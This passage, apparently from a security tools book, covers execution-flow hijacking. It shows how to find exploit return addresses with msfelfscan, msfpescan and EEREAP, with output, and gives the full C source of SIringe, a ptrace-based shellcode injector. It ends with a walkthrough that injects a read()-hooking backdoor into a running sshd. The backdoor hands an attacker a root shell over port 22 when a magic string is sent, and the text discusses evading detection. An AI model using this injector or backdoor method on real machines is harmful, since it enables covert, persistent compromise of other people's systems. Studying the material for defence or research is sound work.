Execution Flow Hijacking

When writing an exploit, there is a key concern for all who try: when a return address or function pointer can be overwritten, what value should we put inside? The goal is usually to execute a payload (i.e., the shellcode). The shellcode is usually injected inside the process memory using a program input, such as a login or an environment variable. But its exact location generally cannot be known in advance, so executing the payload is not that simple. We need to find an address we know in advance that we can jump to, so that our payload will be executed.

This seems like wizardry at first, but the trick relies on the fact that the shellcode has been injected somewhere—thus, the process knows this location (i.e., there is a register, a memory location, or a combination of them that points to the payload). If we can find a fixed address inside the process' memory that holds code that jumps to this precise location, then we have the address we are looking for. For instance, if our payload is still pointed to by the EDI register, we need a fixed address that holds a call edi, jmp edi, or push edi/ret statement or something equivalent.

Sometimes the only thing you can overwrite is not a function pointer, but a pointer on a function pointer, or a pointer on a structure that holds a pointer to a function pointer. Finding a value for that becomes a bit more complicated. Another challenge is to find many suitable addresses on many platforms and look for addresses common to most of them to make an exploit that works against many different targets.

On Windows platforms, you may be able to overwrite a Structured Exception Handler (SEH) function pointer. But in this very specific case, if you succeed in triggering an exception by messing up the stack, the SEH function that will be called will overwrite this very address. The problem here is the same. Which target address should we choose when we do not know the address of the buffer that we overflowed? What is interesting here is that the SEH function pointer is part of a structure whose address is passed as a parameter to the SEH function. Thus, when the SEH function is executed, the third argument in the stack is the address of the SEH structure, which we just overwrote. To circumnavigate this, point the SEH function pointer to a simple pop/pop/ret, somewhere at a fixed place, and it will jump to instructions at the beginning of the overwritten SEH structure.

msfelfscan and msfpescan are two simple Metasploit tools that can go through a PE or an ELF binary and find suitable return addresses; we just have to provide them with the flawed program and the kind of code we are looking for. We can choose between some code that jumps to the address hold by a given register (jmp register, call register, or pop register /ret), and code that does a pop/pop/ret. These are the two most common cases. But if we need something more complex, we can provide a regular expression, which is significantly less straightforward to use.

For instance, let's assume that our shellcode has been injected at a location pointed by the EDI register at exploitation time. The location will change from one run to another, depending on initial memory zone locations (some kernels randomize it deliberately) and the history of the process. But the binaries are usually not compiled as position-independent code, so they must always be loaded at the same address, and we can rely on interesting instructions to be at fixed addresses. Here we need some code that will jump for us to our payload; i.e., to the address present in the EDI register:

$ msfelfscan -f /bin/bash -j edi
0x080698fd   jmp edi
0x0806c6c1   jmp edi
0x0805182b   call edi
0x08072b5f   call edi
0x08086ff0   call edi
0x08087872   call edi
0x08087c4e   call edi
0x080aeff8   call edi

msfelfscan found eight addresses that hold an instruction that will jump to the data pointed by edi. Just one would be sufficient. If we want to write an exploit working on many different versions of the program, a simple method is to look for one of these addresses that is common to all the targeted versions.

On Windows systems, the dynamic libraries are also loaded at fixed addresses, thus it is interesting to include them in the search. To do so, we have to work on a memory image of the whole process that will include its libraries. The memory image will be created from the running process with the memdump.exe program included in the Metasploit Framework. We would then point to the dump file by using msfpescan's -d option (instead of -f).

If jmp, call, and pop/pop/ret are not the instructions you are looking for, you will have to use a regular expression (regex) to describe your need. For instance, if your payload is in a buffer whose address is pointed to by the first argument of the current function, you will need a call [ebp+0xc] or a jmp [ebp+0xc]. This is where the tool is not very convenient: you have to find the opcodes of those instructions to build the regex. In this case, you can use nasm with this file:

BITS 32
    call [ebp+0xc]
    jmp [ebp+0xc]

Then assemble it:

$ nasm -o /dev/null -l /dev/stdout /tmp/myopcodes.nasm
     1                                  BITS 32
     2 00000000 FF550C                  call [ebp+0xc]
     3 00000003 FF650C                  jmp [ebp+0xc]

Here we see that a possible regex would be \xff[\x55\x65]\x0c:

$ ./msfelfscan -f /bin/bash -x '\xff[\x55\x65]\x0c'
0x08087d83   ff550c
0x0808ac43   ff550c
0x0808d7b7   ff550c
0x0809472e   ff550c
0x080947a3   ff550c
0x080995f9   ff550c
0x080b6f2a   ff550c

Metasploit's tools are quite nice to use for simple cases, but they will only find obvious solutions. For more complex problems, you will need to use the generic but inconvenient regex option.

EEREAP stands for eEye Emulating Return Address Purveyor. This utility explores the snapshot of a running process and looks for potential return addresses. A good return address is an address that, when jumped to, will bring the program counter (EIP) to our payload. It works only on Windows.

EEREAP has a different approach than most other tools that try to do the same job. Most other tools require input in the form of explicit possible solutions to your problem; however, EEREAP requires a description of the process' context at exploitation time, and an indication of where you want the program counter to go. Context is described by giving the values of known registers, the relationship between pointers and pointees, the read-only memory zones, etc. In other words, the way you give EEREAP a problem to solve is declarative. You do not have to imagine what a solution looks like. That is a great advantage over some of the simpler tools such as msfpescan that need you to construct a solution set and ask the tool to find something inside the set.

You can also express some constraints on the return address, such as asking for it to be ASCII only, or pointing to a read-only zone. EEREAP will then brute-force all possible return addresses and emulate code at this address using the pieces of context that were specified. Nondeterminism is handled. For instance, if the flags' state is not known at a given point, a conditional jump could be either taken or not. Both paths will be followed. If both lead to the target, the solution will be accepted; if one fails, the address will be discarded. The same happens for operations on registers. If a write access is done on a register whose value is neither determined in the context nor imposed by previously simulated code, the address will be discarded. Thus, the more precise the context is, the more numerous the solutions will be.

The EEREAP syntax is a bit cryptic:

name: size[,keyword][keyword...]

keyword can be ro or rw to indicate the rights enforced on this memory zone, and target to flag the memory zone we want EIP to reach. Use name= expression to constrain the value of a register or the address of a memory zone. expression can use other defined memory zones or registers. [ name ]= expression indicates the value of a memory zone. But enough theory—let's practice.

First, let's create a read/write memory zone to model the stack: my_stack:1000h,rw. Then we have to make ESP point into it so that push, pop, and read/write operations indexed by ESP will be considered valid: esp=my_stack+500h. Now we will define the memory zone holding our shellcode: my_shellcode:64,ro,target. The target keyword will flag the dest memory zone as being the goal to be reached by EIP. The ro keyword will make EEREAP discard any piece of code that would overwrite our shellcode. Last but not least, we will indicate that the EDI register points to our shellcode: edi=my_shellcode.

The final configuration file is:

my_stack:1000h,rw
esp=my_stack+500h
my_shellcode:64,ro
entry @my_shellcode:
edi=my_shellcode

Given this context, EEREAP will force every possible address and find any piece of code that will reach our shellcode without overwriting it or making accesses to undefined memory zones. This includes call edi, jmp edi, or push edi/ret, but it also includes addresses right before that do nothing harmful before the jump. Finally, it includes more improbable solutions that no human being could have thought of. The solution set is supposed to be as exhaustive as possible.

The method to use EEREAP is simple. We have to work on a snapshot of the process. The snapshot must be taken when the process is in the state we expect it to be in at exploitation time. For instance, the process must have finished its initialization. We will use psnap.exe, which is included with the EEREAP package.

::==-===-=====-======-=====-===-==::
   psnap v0.8 Process Snapshooter
   (C) 2005 eEye Digital Security
     Part of the EEREAP Project
   Last updated:    June 23, 2005
::==-===-=====-======-=====-===-==::

Usage:  psnap  [[<flag> [...]] <pid> [<outputfile>]]

Where:  <flag>       specifies whether to snapshot a type of memory region,
                           and/or how to freeze a process (see below)
        <pid>        is the Process ID of the process to snapshot
        <outputfile> is the name of the process snapshot file to create

          If no arguments are supplied, a list of processes is displayed.
          <outputfile> can be omitted to profile a process's address space.

Flags:  -<type>:{W|I|R}  where W snapshots a memory region, I ignore it
                               (marks as a noncommitted, empty region), and R
                               records the region's address range but omits its
                               contents; <type> is one of the following:

          a - committed regions     h - heap memory
          m - non-module mappings   s - thread stacks
          i - executable modules    t - Thread Information Blocks
          r - read-only memory      p - Process Environment Block
          w - writable memory       c - module code sections
          x - executable memory     d - module data sections

          Additionally, <type> can be a hexadecimal region base address,
          an address range consisting of two comma-separated hexadecimal
          numbers, or the file name of an executable module.

        --debug          uses debugging API to ask CSRSS to suspend the
                         process; will try to detach on XP and later

        --priority       boosts psnap's priority as high as possible

        --none           does not suspend target process

        --suspend        attempts to suspend all process threads

        Default settings are "-a:w --none".

Without arguments, it will list all running processes, so we can choose our target here: notepad.exe.

C:\eereap>psnap
::==-===-=====-======-=====-===-==::
   psnap v0.8 Process Snapshooter
   (C) 2005 eEye Digital Security
     Part of the EEREAP Project
   Last updated:    June 23, 2005
::==-===-=====-======-=====-===-==::
     4 (0x0004)  System
   236 (0x00EC)  smss.exe         <\SystemRoot\System32\smss.exe>
   408 (0x0198)  iexplore.exe     <"C:\Program Files\Internet Explorer\iexplore.exe" >
[...]
  3852 (0x0F0C)  notepad.exe      <"C:\WINDOWS\system32\NOTEPAD.EXE" >
  3988 (0x0F94)  cmd.exe          <"C:\WINDOWS\system32\cmd.exe" >
[...]

C:\eereap>psnap 3852 notepad.snap

Now we can work on the snapshot. Our configuration is in the config.txt file:

C:\eereap>eereap.exe notepad.snap @config.txt
::=-==-===-=====-==========-=====-===-==-=::
   EEREAP v0.81           eereap@eeye.com
   eEye Emulating Return Address Purveyor
     (C)2005-2006 eEye Digital Security
   Last updated:         October 30, 2006
::=-==-===-=====-==========-=====-===-==-=::

001B71EE
001B71EF
001B7A23
0022C6F0
0022C714
0022CAE0
0022CB04
00231CB0
00235C10
00248BE8
0028066C
00280CF0
003D59A1
003D6991
[...]
010047DE
010047E1
010047E2
010047E3
010047E8
[...]

Some addresses come from loaded libraries. On Windows, they are always loaded at the same place, so it makes sense to include them in the search. Addresses at 0x01004 xxx come from the notepad.exe file. Let's look at some solutions in this extract from the real code dump of notepad.exe:

 10047d9:       e8 84 d4 ff ff          call   0x1001c62
 10047de:       8d 45 94                lea    eax,[ebp-108]
 10047e1:       50                      push   eax
 10047e2:       ff 35 14 98 00 01       push   DWORD PTR ds:0x1009814
 10047e8:       ff d7                   call   edi

Any of these addresses except 0x10047d9 are obviously solutions. But if we jump in the middle of an instruction, it may still mean something. Let's try to disassemble at every address from 0x010047de to 0x010047e7.

The first one loads an address into EAX, pushes it on the stack, and then pushes the double word at address 0x01009814. It finishes with a direct call to the address held by EDI. The first instruction manipulates registers only. As stack operations are allowed within the my_stack memory zone, the second instruction is considered sane. Address 0x01009814 is inside the mapped memory and can be read, so that the third instruction is also sane. This can be considered as a solution:

010047DE  8D4594            lea eax,[ebp-0x6c]
010047E1  50                push eax
010047E2  FF3514980001      push dword [0x1009814]
010047E8  FFD7              call edi

The two following examples exchange the content of ESP with EAX, and then perform a stack operation. This is very likely to crash. They are not solutions.

010047DF  45                inc ebp
010047E0  94                xchg eax,esp
010047E1  50                push eax
010047E2  FF3514980001      push dword [0x1009814]
010047E8  FFD7              call edi
010047E0  94                xchg eax,esp
010047E1  50                push eax
010047E2  FF3514980001      push dword [0x1009814]
010047E8  FFD7              call edi

These two are subsets of a previous solution and they are obviously OK, too:

010047E1  50                push eax
010047E2  FF3514980001      push dword [0x1009814]
010047E8  FFD7              call edi
010047E2  FF3514980001      push dword [0x1009814]
010047E8  FFD7              call edi

This one begins in the middle of an instruction so that it means something else. But it still ends with the call to EDI, and the new instruction is safe:

010047E3  3514980001        xor eax,0x1009814
010047E8  FFD7              call edi

On the other hand, if we keep on incrementing the address, even if we still get the call to EDI, we get unsafe instructions that write to memory pointed at by ECX while its value is undetermined:

010047E4  1498              adc al,0x98
010047E6  0001              add [ecx],al
010047E8  FFD7              call edi
010047E5  98                cwde
010047E6  0001              add [ecx],al
010047E8  FFD7              call edi
010047E6  0001              add [ecx],al
010047E8  FFD7              call edi

This one will not even execute a call:

010047E7  01FF              add edi,edi
010047E9  D7                xlatb

Last but not least, we have the solution that msfpescan would have found:

010047E8  FFD7              call edi

Having many candidates increases the chances of finding a common address across multiple platforms and thus the ability to write more generic exploits. It is also helpful if we are restricted by the character set to use for the address overwrite.

That leads us to the /RANGESET and /CHARSET parameters, which add conditions on the acceptable addresses. The /RANGESET parameter restricts candidate return addresses to the specified range(s), while the /CHARSET parameter restricts one or all bytes of the return address to the specified character set. The options for these parameters, as well as the complete grammar of a configuration file, are explained in the EEREAP usage message shown here:

>eereap.exe
::=-==-===-=====-==========-=====-===-==-=::
   EEREAP v0.81           eereap@eeye.com
   eEye Emulating Return Address Purveyor
     (C)2005-2006 eEye Digital Security
   Last updated:         October 30, 2006
::=-==-===-=====-==========-=====-===-==-=::

Usage:  EEREAP  <snapshot> {<configline> | @<configfile>} [...]

Where:  <snapshot>  is an EEREAP PSNAP-format process address space snapshot
                          file that denotes virtual memory regions and their contents

      <configline>  is a configuration setting for the emulation context

      <configfile>  is a text file containing configuration settings

Valid configuration settings are as follows:

  reg    = value   -- sets the value of a 32-bit register
  EFLAGS = int     -- sets the value of EFLAGS
  [ptr]  = value   -- sets the contents of memory to a 32-bit value
  address_space [= int] [@ ptr] : size [, attr [...]]
                   -- declares an abstract address space
  /LAZY:reg        -- sets up an otherwise-default context with target at reg
  /RANGEADD:{start..end | [{R|W}][{C|D}][{I|P}] | * } [, ...]
                   -- includes the given range(s) as candidate return addresses
  /RANGESET:{start..end | [{R|W}][{C|D}][{I|P}] | * } [, ...]
                   -- restricts candidate return addresses to these range(s)
  /CHARSET[{0|1|2|3}]: {start[..end] | NONULL | ASCII | ALPHA | ALPHALOWER |
                        ALPHAUPPER | ALPHANUM | ALPHANUMLOWER | ALPHANUMUPPER |
                        HEX | HEXLOWER | HEXUPPER | BASE64} [, ...]
                   -- restricts one or all bytes of return address to char set
The identifiers in lowercase are defined as follows:
  reg           := {EAX | ECX | EDX | EBX | ESP | EBP | ESI | EDI}
  int           := decimal (e.g., 7890), binary (e.g., 01101b), or hexadecimal
                   (e.g., 0BA98CDEFh) integer,  in which a hex or binary digit
                   may have its bits denoted as undefined by substituting an X
  address_space := a non-reserved name, beginning with a letter and containing
                   only letters, numbers, and  underscores, that identifies an
                   abstract address space uniquely
  offset        := fully-defined int (no X digits)
  ptr           := {int | address_space [{+ | -} offset]}
  value         := {int | ptr}
  size          := fully-defined int
  attr          := {RO | RW | TARGET}
  start         := fully-defined int
  end           := fully-defined int

Also note that each line of a configuration file can also be passed as an argument, so you do not need to create a file for simple searches. You can also mix both configuration file and command-line parameters to refine some searches without modifying the configuration file or adding new constraints.

Shellcodes are not used only for remote exploitation; for example, they can be of great help to tweak a running process or to steal resources such as file descriptors, handles, rights, etc. In these cases, we do not need a vulnerability in our target to redirect the execution flaw because we already have control over it.

On Unix systems, injection can be achieved by the Ptrace debugging feature. The method is quite simple: the injector attaches to the running process, injects the payload, and changes registers so that control is transferred to it. Once the payload has gained control, it can do its job and then either clean up itself or return to the injector to clean up.

Example 10-6 lists the source of the SIringe shellcode injector. It injects a shellcode into a process' stack and simulates a call to it. If the shellcode restores all the registers and returns as a normal function, the control will go back to where the process has been stopped, and it will keep on doing its job without noticing a parasite has executed inside its own address space.

Example 10-6. SIringe sourcecode

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <unistd.h>
#define __KERNEL_  _ /* macros ERESTART... */
#include <linux/errno.h>
#undef __KERNEL_  _

/* $Id$ */

#define STACKSIZE 512

#define ERROR(msg) do{ perror(msg); exit(-1); }while(0)
#define USAGE do { fprintf(stderr, "Usage: siringe [-f <shellcode] -p <pid>\n"); exit(
-2);
}while(0)

int main(int argc, char *argv[])

{
        int res, i, pid=0, shlen;
        long start, old_eip;
        struct user_regs_struct regs;
        char shcode[32768];
        int fd = 1;
        char c;

        while (1) {
                c = getopt(argc, argv, "p:f:");
                if (c == −1) break;
                switch (c) {
                case 'p':
                        pid = atoi(optarg);
                        break;
                case 'f':
                        fd = open(optarg, O_RDONLY);
                        if (fd == −1) ERROR("open");
                        break;
                }
        }

        if (!pid) USAGE;
        shlen = read(fd, shcode, sizeof(shcode));
        if (!shlen) USAGE;

        /**** let's attach ****/
        res = ptrace(PTRACE_ATTACH, pid, NULL, NULL);
        if (res == −1) ERROR("ptrace attach");
        res = waitpid(pid, NULL, WUNTRACED);
        if (res != pid) ERROR("waitpid");

        /**** We gather the registers ****/
        res = ptrace(PTRACE_GETREGS, pid, NULL, &regs);
        if (res == −1) ERROR("ptrace getregs");
        /**** We inject the code ****/
        start = regs.esp-STACKSIZE-shlen;
        for (i=0; i < shlen; i+=4) {
                res = ptrace(PTRACE_POKEDATA, pid, start+i, *(int *)(shcode+i));
                if (res == −1) ERROR("ptrace pokedata");
        }

        /**** We hijack the execution flow ****/
        old_eip = regs.eip;
        regs.eip = start;
        if ( (regs.orig_eax >= 0) &&
             (regs.eax == -ERESTARTNOHAND ||
              regs.eax == -ERESTARTSYS ||
              regs.eax == -ERESTARTNOINTR) ) {
                regs.eip += 2;
                old_eip -= 2;
        }

        /**** We simulate a call (push eip) ****/
        regs.esp -= 4;
        res = ptrace(PTRACE_POKEDATA, pid, regs.esp, old_eip);
        if (res == −1) ERROR("ptrace pokedata old_eip");

        /**** We update the registers ****/
        res = ptrace(PTRACE_SETREGS, pid, NULL, &regs);
        if (res == −1) ERROR("ptrace setregs");

        /**** We detach and begin to run  ****/
        res = ptrace(PTRACE_DETACH, pid, NULL, NULL);
        if (res == −1) ERROR("ptrace detach");

        return 0;
}

The injected shellcodes must respect their hosts invisibility reasons first but we also may need them later. Thus, they have to save and restore registers and not trash the host's process memory. As a simple example of this, let's use a hello world shellcode.

#define STR "Hello world!\n"

int main(void)
{
        __asm_  _("pusha");

        write(1, STR, sizeof(STR));

        __asm_  _("popa");
}

It can be compiled with ShellForge into the following assembly code:

00000000  55                push ebp
00000001  89E5              mov ebp,esp
00000003  53                push ebx
00000004  50                push eax
00000005  E800000000        call 0xa
0000000A  5B                pop ebx
0000000B  81C3F6FFFFFF      add ebx,0xfffffff6
00000011  83E4F0            and esp,byte -0x10
00000014  83EC10            sub esp,byte +0x10
00000017  60                pusha
00000018  8D8B37000000      lea ecx,[ebx+0x37]
0000001E  B804000000        mov eax,0x4
00000023  BA0E000000        mov edx,0xd
00000028  53                push ebx
00000029  BB01000000        mov ebx,0x1
0000002E  CD80              int 0x80
00000030  5B                pop ebx
00000031  61                popa
00000032  8B5DFC            mov ebx,[ebp-0x4]
00000035  C9                leave
00000036  C3                ret
00000037  Hello world!

We can then inject it into any process and control its actions for the time the shellcode is running:

$ ./siringe -f /tmp/helloworld.egg -p 'pidof cat'

Here is the result on the cat process:

$ cat
Repeat after me: test before!
Repeat after me: test before!
Hello world!
Repeat after me: test after!
Repeat after me: test after!

Uses of this technique are countless; for example, swapping the TTY of two processes, parasitizing a function, stealing a file descriptor, and many others.

A more elaborate kind of code injection can be achieved with InjectSO, a small program that enables you to inject a whole shared object into the memory space of another process and hijack dynamically linked functions. The great advantage over raw shellcode injection is that you have only to build a shared object that will be dynamically linked and thus can use external functions—for instance, from libc. But this will obviously work only on dynamically linked processes, and dynamically linked functions only can be intercepted.

Warning

InjectSO is quite old now. It will not compile as is with recent GCC, nor will it work on systems using a recent dynamic linker.

The shared object you have to build must provide a NULL-finished array of pointers to SIntercept structures named pptInterceptFuncs. An SIntercept structure is described in Table 10-2 and is defined as follows:

typedef struct _SIntercept {
      char *sFuncName;
      void *pvNewFunc;
      void *pvRelAddr;
      void **ppvOldAddr;
      int  iFlags;
} SIntercept;

The intercepting function will be called in place of the intercepted function. Calls to the intercepted functions must be wrapped by calls to intercept_fix_unresolved( ) and intercept_override( ).

Example 10-7 lists a very vicious backdoor. This shared object will intercept any call to the read( ) function to look for a magic string in any read buffer. If the magic string is present, the shared object will copy the current file descriptor to STDIN, STDOUT, and STDERR, and execute /bin/sh. There is one subtlety: some programs read buffers one byte by one byte, so we need a way to scan a fragmented stream. The solution is to approximate, because the function could be called on different streams, but we assume that all fragments from our magic string will not be mixed with other streams.

To compile it, we need intercept.h and intercept.o files from InjectSO package:

$ gcc -shared -fPIC -I. -nostdlib -o backdoor.so backdoor.c intercept.o

Now we have a backdoor.so file. We can inject it in any program we want. It will then behave as usual, except that if the magic string ever comes to be read on a file descriptor, the process will be changed into a shell. We have to inject it into our target process on the victim host:

victim:˜# ./injectso -c -p 'pidof sshd' backdoor.so

Now the attacker can quit the machine and come back whenever he wants. In the meantime, legitimate users can use the machine normally:

legitimate:˜$ ssh victim echo "SSH is working"
Password: ****
SSH is working

SSH daemon seems to work as usual, but, as shown in the following:

attacker:˜$ telnet victim 22
Trying 192.168.128.10...
Connected to 192.168.128.10.
Escape character is '^]'.
SSH-2.0-OpenSSH_3.8.1p1 Debian-8.sarge.4
P0WERT00LS
sh-3.00#

the box is backdoored.

This trick will remain unnoticed unless we look at mapped libraries in SSH memory space:

victim:˜# cat /proc/'pidof sshd'/maps
08048000-0808d000 r-xp 00000000 08:01 108219     /usr/sbin/sshd
0808d000-0808f000 rw-p 00044000 08:01 108219     /usr/sbin/sshd
0808f000-080b4000 rw-p 0808f000 00:00 0
b7d07000-b7d10000 r-xp 00000000 08:01 91625      /lib/tls/libnss_files-2.3.2.so
b7d10000-b7d11000 rw-p 00008000 08:01 91625      /lib/tls/libnss_files-2.3.2.so
[...]
b7fe6000-b7fe8000 r-xp 00000000 08:01 31598      /root/backdoor.so
b7fe8000-b7fe9000 rw-p 00001000 08:01 31598      /root/backdoor.so
b7fe9000-b7fea000 rw-p b7fe9000 00:00 0

Next time, let's choose a more discreet name.